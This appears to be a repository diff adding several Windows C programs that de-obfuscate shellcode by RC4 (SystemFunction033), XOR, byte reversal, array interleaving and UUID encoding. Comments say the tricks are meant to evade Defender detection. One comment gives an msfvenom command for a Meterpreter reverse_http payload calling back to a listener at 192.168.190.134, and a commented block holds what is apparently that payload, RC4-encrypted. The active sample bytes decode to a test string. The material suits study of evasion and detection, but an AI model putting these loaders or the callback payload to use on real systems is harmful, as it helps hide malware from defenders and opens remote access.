char _key[] = "VHOZNPIT63ELGVDV";char shellcode[] = {0xa4, 0xca, 0x9f, 0x90, 0x4e, 0x4c, 0xad, 0x77, 0x96, 0x8e, 0x33, 0x36, 0x6a, 0x63, 0x8a, 0x4b, 0xd8, 0x49, 0x1e, 0x66, 0xfa, 0x34, 0xe6, 0x83, 0x39, 0x5f, 0x36, 0xec, 0xa6, 0x69, 0xff, 0x91, 0x10, 0x92, 0x72, 0xdc, 0xd3, 0x81, 0x66, 0x11, 0x79, 0xb};
|
||||
|
||||
// msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.190.134 LPORT=80 -f raw -o met.bin
|
||||
// python3 rc4_encrypt.py -i met.bin
|
||||
/*char _key[] = "XK53QSV2MSEPPKAU";
|
||||
unsigned char shellcode[] = {0xee, 0x8, 0x63, 0x24, 0x95, 0x5e, 0xb3, 0xf4, 0xd6, 0x8a, 0xbe, 0xbb, 0xb3, 0xd0, 0x7f, 0x9f, 0xfc, 0x67, 0x13, 0x75, 0x6b, 0xd0, 0x5c, 0xc7, 0x9d, 0x39, 0x21, 0x20, 0x64, 0x98, 0x53, 0xe4, 0x96, 0x3a, 0x40, 0x35, 0xb2, 0xc1, 0xe2, 0xd2, 0xc2, 0xe, 0x7b, 0x7, 0xb2, 0xae, 0x14, 0xd7, 0x3, 0xa7, 0xcf, 0xb3, 0x13, 0x86, 0xc5, 0x8, 0x2b, 0x8d, 0x7c, 0xa7, 0xdd, 0x94, 0xd8, 0x47, 0x8, 0xee, 0xb7, 0x1b, 0xf2, 0x83, 0x32, 0x85, 0x8a, 0xbb, 0xee, 0x46, 0xd3, 0x9c, 0xd8, 0x75, 0xe0, 0xc0, 0x5e, 0x48, 0x4a, 0xb, 0xaf, 0xb6, 0x97, 0x57, 0x96, 0x96, 0x47, 0x70, 0xa2, 0x99, 0x15, 0x30, 0xbd, 0x70, 0x36, 0xa1, 0x47, 0x79, 0x6a, 0xec, 0x46, 0x8b, 0x7e, 0x46, 0xc5, 0xbe, 0x30, 0x6b, 0x1d, 0x4, 0xfb, 0x4f, 0x5a, 0xa4, 0x77, 0xfa, 0xbf, 0x2f, 0xbd, 0xd4, 0x6d, 0x73, 0xd3, 0xc9, 0xff, 0xe4, 0x78, 0x14, 0x47, 0xaa, 0xf8, 0x90, 0x29, 0x61, 0x1f, 0xa9, 0xcd, 0xb7, 0xac, 0xfe, 0x35, 0x40, 0x5c, 0x61, 0x2b, 0xf9, 0x2e, 0x4b, 0x40, 0xdd, 0x7e, 0x31, 0xe3, 0x3c, 0xd1, 0x20, 0xca, 0x60, 0xaf, 0x56, 0x4e, 0xfd, 0x89, 0xa4, 0x48, 0x70, 0x6b, 0xf0, 0xc2, 0x64, 0x75, 0x22, 0xd8, 0xfc, 0x78, 0x13, 0xb7, 0x2a, 0x0, 0x41, 0xfd, 0xe9, 0x69, 0x79, 0x73, 0x34, 0x70, 0x3d, 0x9b, 0xd5, 0x2c, 0x85, 0x47, 0x9d, 0x22, 0x80, 0x30, 0x42, 0xaa, 0xa3, 0xe9, 0xe0, 0xf, 0x8f, 0x31, 0xb6, 0x0, 0xef, 0xdb, 0x70, 0xe6, 0x64, 0x1a, 0xd0, 0xba, 0x54, 0x89, 0x8a, 0xe6, 0xff, 0x4d, 0xca, 0x46, 0x43, 0xd1, 0xa5, 0xcc, 0x43, 0xa1, 0x69, 0x75, 0xb6, 0x5b, 0xe8, 0x2, 0xf3, 0x52, 0xab, 0x28, 0xc3, 0xdb, 0xd2, 0x54, 0x7, 0xa2, 0x67, 0xe, 0x91, 0x4, 0x5e, 0x23, 0xbe, 0xa0, 0x32, 0x7a, 0x44, 0x96, 0xdd, 0x1f, 0xbb, 0x5b, 0x1a, 0xde, 0xb5, 0x8f, 0xea, 0xb1, 0x53, 0x28, 0x50, 0xa, 0x5f, 0xdf, 0x25, 0x4a, 0xf, 0x18, 0x5c, 0x15, 0x12, 0xbe, 0xb3, 0x3c, 0x6e, 0x87, 0xc, 0x83, 0x2a, 0xfb, 0x8e, 0x69, 0x4f, 0xe0, 0x3c, 0x9f, 0xfe, 0x9f, 0x14, 0x60, 0x4b, 0xa, 0x5a, 0xc9, 0x69, 0x37, 0x67, 0x31, 0x3b, 0xb5, 0xe5, 0x74, 0xc5, 0xb3, 0x11, 0x4e, 0xab, 0x9c, 0x46, 0xcd, 0xf9, 0x9b, 0x72, 0xde, 0xf8, 0xb4, 0x4, 0xb1, 0x7e, 0x76, 0xc7, 0xb3, 0xb1, 0xe9, 0x23, 0x7a, 0xcc, 0xf1, 0x90, 0x49, 0xee, 0xe6, 0x3d, 0x18, 0x84, 0xc0, 0x9e, 0x1a, 0xe3, 0xe4, 0xb8, 0x21, 0x3d, 0xf6, 0xb6, 0x39, 0x85, 0x94, 0x56, 0x6e, 0x12, 0xed, 0xb3, 0x62, 0x51, 0x69, 0x2f, 0x7e, 0xc9, 0xaf, 0xb5, 0x73, 0xa, 0xd3, 0xc1, 0x53, 0xb7, 0x21, 0x87, 0x3, 0x6a, 0x51, 0xde, 0x12, 0xf9, 0x62, 0x31, 0x1f, 0xb2, 0x14, 0x48, 0x75, 0xc8, 0xb2, 0x5c, 0x62, 0x3, 0x29, 0xe4, 0xa4, 0xb9, 0xa0, 0x7a, 0xea, 0x6e, 0x6, 0xf4, 0x53, 0xaf, 0x8d, 0xf3, 0x7a, 0xd5, 0xdf, 0xc9, 0x1e, 0x79, 0x4f, 0x4e, 0xe8, 0x99, 0xcc, 0x75, 0xd4, 0x9, 0x12, 0xc8, 0xff, 0xf1, 0x9b, 0x31, 0xc2, 0x77, 0x89, 0x8f, 0x9b, 0x11, 0x1c, 0xab, 0xd, 0x7b, 0xa8, 0x33, 0xab, 0x9a, 0xc7, 0x57, 0xe, 0xaf, 0x16, 0x68, 0x9a, 0x83, 0x33, 0xff, 0x64, 0x5e, 0xea, 0xb9, 0xcc, 0xcd, 0x77, 0xc1, 0x2f, 0x71, 0x40, 0xcf, 0x4a, 0xdd, 0xe6, 0x5a, 0xe2, 0x40, 0x15, 0xf7, 0x6c, 0xe0, 0x79, 0xc9, 0xd8, 0xc0, 0xab, 0x78, 0x9a, 0xef, 0x62, 0xda, 0x83, 0x3d, 0x62, 0xbc, 0x53, 0xff, 0x92, 0x3a, 0xfd, 0x17, 0xf3, 0x2, 0xd3, 0x91, 0xc6, 0xf, 0x95, 0xb9, 0xd5, 0xd6, 0x6d, 0x42, 0x76, 0x1, 0xad, 0xb1, 0xc9, 0xf1, 0xc1, 0xeb, 0x35, 0xa2, 0x92, 0xb2, 0x8e, 0x71, 0xdb, 0x8a, 0x5c, 0xbd, 0x5c, 0xe6, 0x91, 0x66, 0x18, 0xfe, 0x4d, 0x37, 0x4, 0xc5, 0x6e, 0x9e, 0x1e, 0x73, 0xc9, 0x5c, 0x27, 0x47, 0x74, 0xb0, 0x45, 0xba, 0xf, 0x26, 0x9d, 0xad, 0xa, 0x18, 0xa6, 0xf8, 0x2e, 0x29, 0x56, 0x6, 0xd0, 0xcc, 0x38, 0x66, 0x2d, 0x85, 0x9e, 0xee, 0x27, 0x2, 0xe0, 0x8b, 0x29, 0xb9, 0x94, 0xc9, 0x7, 0xa8, 0x4, 0xf5, 0x5, 0x6c, 0xbf, 0x8b, 0x21, 0xbe, 0x21, 0xa5, 0xec, 0x54, 0x9d, 0xdf};
|
||||
*/
|
||||
// declare a variable for our shellcode size
|
||||
unsigned int shellcode_size = sizeof(shellcode);
|
||||
|
||||
// create a new struct from our key
|
||||
key.Buffer = (&_key);
|
||||
key.Length = 16;
|
||||
|
||||
// create a new struct from the shellcode
|
||||
_data.Buffer = &shellcode;
|
||||
_data.Length = shellcode_size;
|
||||
|
||||
//SystemFunction033(&data, &key);
|
||||
SystemFunction033(&_data, &key);
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
int main(void) {
|
||||
|
||||
|
||||
char reversed_payload [42] = {0x0, 0x32, 0x0, 0x32, 0x0, 0x6f, 0x0, 0x77, 0x0, 0x7a, 0x0, 0x73, 0x0, 0x6e, 0x0, 0x69, 0x0, 0x65, 0x0, 0x6f, 0x0, 0x77, 0x0, 0x7a, 0x0, 0x73, 0x0, 0x6e, 0x0, 0x69, 0x0, 0x65, 0x0, 0x74, 0x0, 0x73, 0x0, 0x65, 0x0, 0x74, 0xfe, 0xff};
|
||||
|
||||
char shellcode[sizeof(reversed_payload)] = { 0 };
|
||||
|
||||
// reverse our array of ints
|
||||
for (int i = 0; i < sizeof(reversed_payload); i++)
|
||||
{
|
||||
printf(""); // defender fires an alert on this routine without this ¯\_(ツ)_/¯
|
||||
shellcode[i] = reversed_payload[sizeof(reversed_payload) - i - 1];
|
||||
}
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(reversed_payload))
|
||||
{
|
||||
if (idx == (sizeof(reversed_payload) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
int main(void) {
|
||||
|
||||
|
||||
char reversed_hex_string[] = "0x0,23x0,0x0,23x0,0x0,f6x0,0x0,77x0,0x0,a7x0,0x0,37x0,0x0,e6x0,0x0,96x0,0x0,56x0,0x0,f6x0,0x0,77x0,0x0,a7x0,0x0,37x0,0x0,e6x0,0x0,96x0,0x0,56x0,0x0,47x0,0x0,37x0,0x0,56x0,0x0,47x0,efx0,ffx0";
|
||||
unsigned int shellcode_len = 42;
|
||||
|
||||
|
||||
// reverse the string
|
||||
char* hex_string = _strrev(reversed_hex_string);
|
||||
printf("Reversed hex string: %s\n", hex_string);
|
||||
|
||||
// declare a new shellcode byte array
|
||||
char shellcode[sizeof(reversed_hex_string)] = { 0 };
|
||||
|
||||
// define an index to keep track of where we're at
|
||||
int idx = 0;
|
||||
int count = 0;
|
||||
const int MAX_TOKENS = sizeof(reversed_hex_string);
|
||||
char* next_token = NULL;
|
||||
char* token = strtok_s(hex_string, ",", &next_token);
|
||||
while (token != NULL && count < MAX_TOKENS) {
|
||||
shellcode[count++] = strtol(token, NULL, 16);
|
||||
token = strtok_s(NULL, ",", &next_token);
|
||||
}
|
||||
|
||||
idx = 0;
|
||||
while ( idx < shellcode_len)
|
||||
{
|
||||
if (idx == (shellcode_len - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
|
||||
@@ -0,0 +1,56 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
int main(void)
|
||||
{
|
||||
|
||||
|
||||
#define PAYLOAD_SIZE 42
|
||||
char evens[21] = {0xff, 0x74, 0x65, 0x73, 0x74, 0x65, 0x69, 0x6e, 0x73, 0x7a, 0x77, 0x6f, 0x65, 0x69, 0x6e, 0x73, 0x7a, 0x77, 0x6f, 0x32, 0x32};
|
||||
char odds[21] = {0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0};
|
||||
|
||||
|
||||
char shellcode[PAYLOAD_SIZE] = { 0x00 };
|
||||
int twoArrIdx = 0;
|
||||
int idx = 0;
|
||||
|
||||
while (idx < PAYLOAD_SIZE)
|
||||
{
|
||||
// read from the even array
|
||||
shellcode[idx] = evens[twoArrIdx];
|
||||
|
||||
// odds will be one byte less than evens if PAYLOAD_SIZE is odd
|
||||
if ( twoArrIdx == (int)sizeof(odds) )
|
||||
{
|
||||
// do nothing, otherwise we'll read past the end of our array
|
||||
}
|
||||
else
|
||||
{
|
||||
// read from odd array
|
||||
shellcode[idx+1] = odds[twoArrIdx];
|
||||
|
||||
// increment twoArrIdx to move to the next position in the evens and odds arrays
|
||||
twoArrIdx++;
|
||||
}
|
||||
|
||||
// we've just added two bytes, so we need to shift two positions instead of one
|
||||
idx = idx + 2;
|
||||
}
|
||||
|
||||
idx = 0;
|
||||
while ( idx < PAYLOAD_SIZE)
|
||||
{
|
||||
if (idx == (PAYLOAD_SIZE - 1))
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <Rpc.h>
|
||||
#pragma comment(lib, "Rpcrt4.lib")
|
||||
|
||||
|
||||
struct ustring {
|
||||
DWORD Length;
|
||||
DWORD MaximumLength;
|
||||
PUCHAR Buffer;
|
||||
} _data, key;
|
||||
|
||||
|
||||
int main(void)
|
||||
{
|
||||
|
||||
char * UUIDs[] = {
|
||||
"0074feff-0065-0073-7400-650069006e00",
|
||||
"007a0073-0077-006f-6500-69006e007300",
|
||||
"0077007a-006f-0032-3200-909090909090"
|
||||
};
|
||||
|
||||
// get the size of our shellcode stored as UUIDs
|
||||
unsigned int shellcode_size = (unsigned int)sizeof(UUIDs) * 2;
|
||||
|
||||
// Declare a buffer for storing our shellcode
|
||||
void * buffer = VirtualAlloc(NULL, shellcode_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
|
||||
|
||||
// This keeps track of our current position in the allocated buffer
|
||||
void * bufferBaseAddress = NULL;
|
||||
|
||||
// This keeps track of how many bytes we've written into the buffer
|
||||
int i = 0;
|
||||
|
||||
// Loop through our list of UUIDs and use UuidFromStringA to convert and load into memory
|
||||
for (int count = 0; count < sizeof(UUIDs) / sizeof(UUIDs[0]); count++) {
|
||||
bufferBaseAddress = ((ULONG_PTR)buffer + i);
|
||||
RPC_STATUS status = UuidFromStringA((RPC_CSTR)UUIDs[count], bufferBaseAddress);
|
||||
i += 16;
|
||||
}
|
||||
|
||||
// create a new struct from the buffer we allocated
|
||||
_data.Buffer = buffer;
|
||||
_data.Length = shellcode_size;
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < _data.Length)
|
||||
{
|
||||
if (idx == (shellcode_size - 1) )
|
||||
{
|
||||
printf("0x%02x ", _data.Buffer[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", _data.Buffer[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,53 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
void XOR(char * ciphertext, size_t ciphertext_len, char * key, size_t key_len) {
|
||||
// Defender will detect this function
|
||||
// Somehow, opening the null device and closing it again is enough to avoid detection
|
||||
FILE* outfile = fopen("nul", "w");
|
||||
|
||||
int myByte = 0;
|
||||
int k_minus_one = key_len - 1;
|
||||
for (int idx = 0; idx < ciphertext_len; idx++) {
|
||||
if (myByte == k_minus_one)
|
||||
{
|
||||
myByte = 0;
|
||||
}
|
||||
|
||||
ciphertext[idx] = ciphertext[idx] ^ key[myByte];
|
||||
myByte++;
|
||||
|
||||
}
|
||||
// Close our decoy
|
||||
fclose(outfile);
|
||||
}
|
||||
|
||||
|
||||
int main(void)
|
||||
{
|
||||
|
||||
char shellcode[42] = {0xa7,0xb1,0x26,0x4b,0x20,0x59,0x2b,0x4f,0x26,0x4b,0x20,0x59,0x31,0x4f,0x3c,0x4b,0x36,0x59,0x22,0x4f,0x25,0x4b,0x2a,0x59,0x3d,0x4f,0x3b,0x4b,0x2b,0x59,0x2b,0x4f,0x28,0x4b,0x32,0x59,0x37,0x4f,0x60,0x4b,0x77,0x59};
|
||||
char xorkey[] = "XORKEY";
|
||||
|
||||
|
||||
// XOR our shellcode with the key to decode it
|
||||
XOR((char *) shellcode, sizeof(shellcode), xorkey, sizeof(xorkey));
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
|
||||
int main(void)
|
||||
{
|
||||
|
||||
|
||||
unsigned char reversed_payload [42] = {0x17, 0x25, 0x17, 0x25, 0x17, 0x78, 0x17, 0x60, 0x17, 0x6d, 0x17, 0x64, 0x17, 0x79, 0x17, 0x7e, 0x17, 0x72, 0x17, 0x78, 0x17, 0x60, 0x17, 0x6d, 0x17, 0x64, 0x17, 0x79, 0x17, 0x7e, 0x17, 0x72, 0x17, 0x63, 0x17, 0x64, 0x17, 0x72, 0x17, 0x63, 0xe9, 0xe8};
|
||||
|
||||
char shellcode[sizeof(reversed_payload)] = {0};
|
||||
unsigned int len = sizeof(reversed_payload);
|
||||
int xorkey = 23;
|
||||
|
||||
// reverse and de-xor our array of ints
|
||||
for (int i = 0; i < len; i++)
|
||||
{
|
||||
char decoded = reversed_payload[len - i - 1] ^ xorkey;
|
||||
shellcode[i] = decoded;
|
||||
}
|
||||
|
||||
int idx = 0;
|
||||
while (idx < sizeof(reversed_payload))
|
||||
{
|
||||
if (idx == (sizeof(reversed_payload) - 1))
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
|
||||
int main(void)
|
||||
{
|
||||
|
||||
unsigned int xorkey = 23;
|
||||
unsigned char shellcode[42] = {232, 233, 99, 23, 114, 23, 100, 23, 99, 23, 114, 23, 126, 23, 121, 23, 100, 23, 109, 23, 96, 23, 120, 23, 114, 23, 126, 23, 121, 23, 100, 23, 109, 23, 96, 23, 120, 23, 37, 23, 37, 23};
|
||||
|
||||
// XOR each byte of our shellcode with the key to decode it
|
||||
for (int idx = 0; idx < sizeof(shellcode); idx++) {
|
||||
shellcode[idx] = shellcode[idx] ^ xorkey;
|
||||
}
|
||||
|
||||
int idx = 0;
|
||||
while ( idx < sizeof(shellcode))
|
||||
{
|
||||
if (idx == (sizeof(shellcode) - 1) )
|
||||
{
|
||||
printf("0x%02x ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
else
|
||||
{
|
||||
printf("0x%02x, ", (unsigned char)shellcode[idx]);
|
||||
}
|
||||
idx++;
|
||||
}
|
||||
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user